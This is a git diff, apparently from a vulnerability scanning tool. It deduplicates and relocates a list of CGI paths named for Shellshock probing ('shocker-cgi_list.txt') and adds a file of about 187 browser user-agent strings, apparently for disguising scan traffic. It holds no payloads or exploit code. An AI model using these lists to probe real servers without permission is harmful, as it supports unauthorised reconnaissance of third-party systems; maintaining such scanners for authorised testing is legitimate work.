Chrome/140.0.7339.155 Mobile Safari/537.36 +Xiaomi Redmi 15C Mozilla/5.0 (Linux; Android 15; REDMI 15C Build/AP3A.240905.015.A2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.118 Mobile Safari/537.36 XiaoMi/MiuiBrowser/14.43.0-gn diff --git a/src/txt/shocker-cgi_list.txt b/data/txt/shocker-cgi_list.txt similarity index 98% rename from src/txt/shocker-cgi_list.txt rename to data/txt/shocker-cgi_list.txt index de1f14c0da..4cf8f35dd6 100644 --- a/src/txt/shocker-cgi_list.txt +++ b/data/txt/shocker-cgi_list.txt @@ -165,7 +165,6 @@ /cgi-bin/lookwho.cgi /cgi-bin/lwgate.cgi /cgi-bin/MachineInfo -/cgi-bin/MachineInfo /cgi-bin/magiccard.cgi /cgi-bin/mail/emumail.cgi /cgi-bin/maillist.cgi @@ -244,8 +243,6 @@ /cgi-bin/smartsearch.cgi /cgi-bin/smartsearch/smartsearch.cgi /cgi-bin/snorkerz.bat -/cgi-bin/snorkerz.bat -/cgi-bin/snorkerz.cmd /cgi-bin/snorkerz.cmd /cgi-bin/sojourn.cgi /cgi-bin/spin_client.cgi @@ -332,14 +329,11 @@ /ez2000/ezboard.cgi /ez2000/ezman.cgi /fcgi-bin/echo -/fcgi-bin/echo -/fcgi-bin/echo2 /fcgi-bin/echo2 /Gozila.cgi /hitmatic/analyse.cgi /hp_docs/cgi-bin/index.cgi /html/cgi-bin/cgicso -/html/cgi-bin/cgicso /index.cgi /info.cgi /infosrch.cgi @@ -373,7 +367,6 @@ /sample04.cgi /sampleposteddata.cgi /scancfg.cgi -/scancfg.cgi /servers/link.cgi /setpasswd.cgi /SetSecurity.shm @@ -400,3 +393,4 @@ /wwwadmin.cgi /wwwboard.cgi /wwwboard/wwwboard.cgi +/cgi-bin/ \ No newline at end of file diff --git a/data/txt/user-agents.txt b/data/txt/user-agents.txt new file mode 100644 index 0000000000..4a4864effb --- /dev/null +++ b/data/txt/user-agents.txt @@ -0,0 +1,187 @@ +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:109.0) Gecko/20100101 Firefox/115.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.4 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.5 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.7 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.33 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.7258.155 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/139 Version/11.1.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/139 Version/16.0 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.2 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.4.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.4 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Safari/605.1.15 Ddg/18.6 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.11 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.13 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.14 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.7 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.8.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.2 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3 Safari/605.1.15 Ddg/18.6 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.6 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.6 Safari/605.1.15 Ddg/18.6 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.0 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:141.0) Gecko/20100101 Firefox/141.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:142.0) Gecko/20100101 Firefox/142.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 14_2_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 14_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 15_4 ADSSO) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0 Unique/97.7.7239.70 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Edg/133.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Edg/134.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Edg/135.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0 (Edition std-1) +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0 (Edition std-2) +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Edg/136.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 YaBrowser/25.6.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.7151.104 ADG/11.1.4905 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.7204.92 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.7204.93 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.7204.96 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.7204.97 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Avast/139.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 AVG/139.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0 Herring/90.1.1459.6 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Norton/139.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 OpenWave/96.4.8983.84 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.7258.5 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 Edg/140.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.7339.16 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4482.0 Safari/537.36 Edg/92.0.874.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36 Edg/99.0.1150.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko/20100101 Firefox/139.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:143.0) Gecko/20100101 Firefox/143.0 +Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0 +Mozilla/5.0 (X11; CrOS x86_64 13904.97.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.167 Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 14816.131.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/116.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/28.0 Chrome/130.0.0.0 Safari/537.36 +Mozilla/5.0 (X11; Linux x86_64; rv:121.0) Gecko/20100101 Firefox/121.0 +Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0 +Mozilla/5.0 (X11; Linux x86_64; rv:138.0) Gecko/20100101 Firefox/138.0 +Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0 +Mozilla/5.0 (X11; Linux x86_64; rv:141.0) Gecko/20100101 Firefox/141.0 +Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0 +Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:141.0) 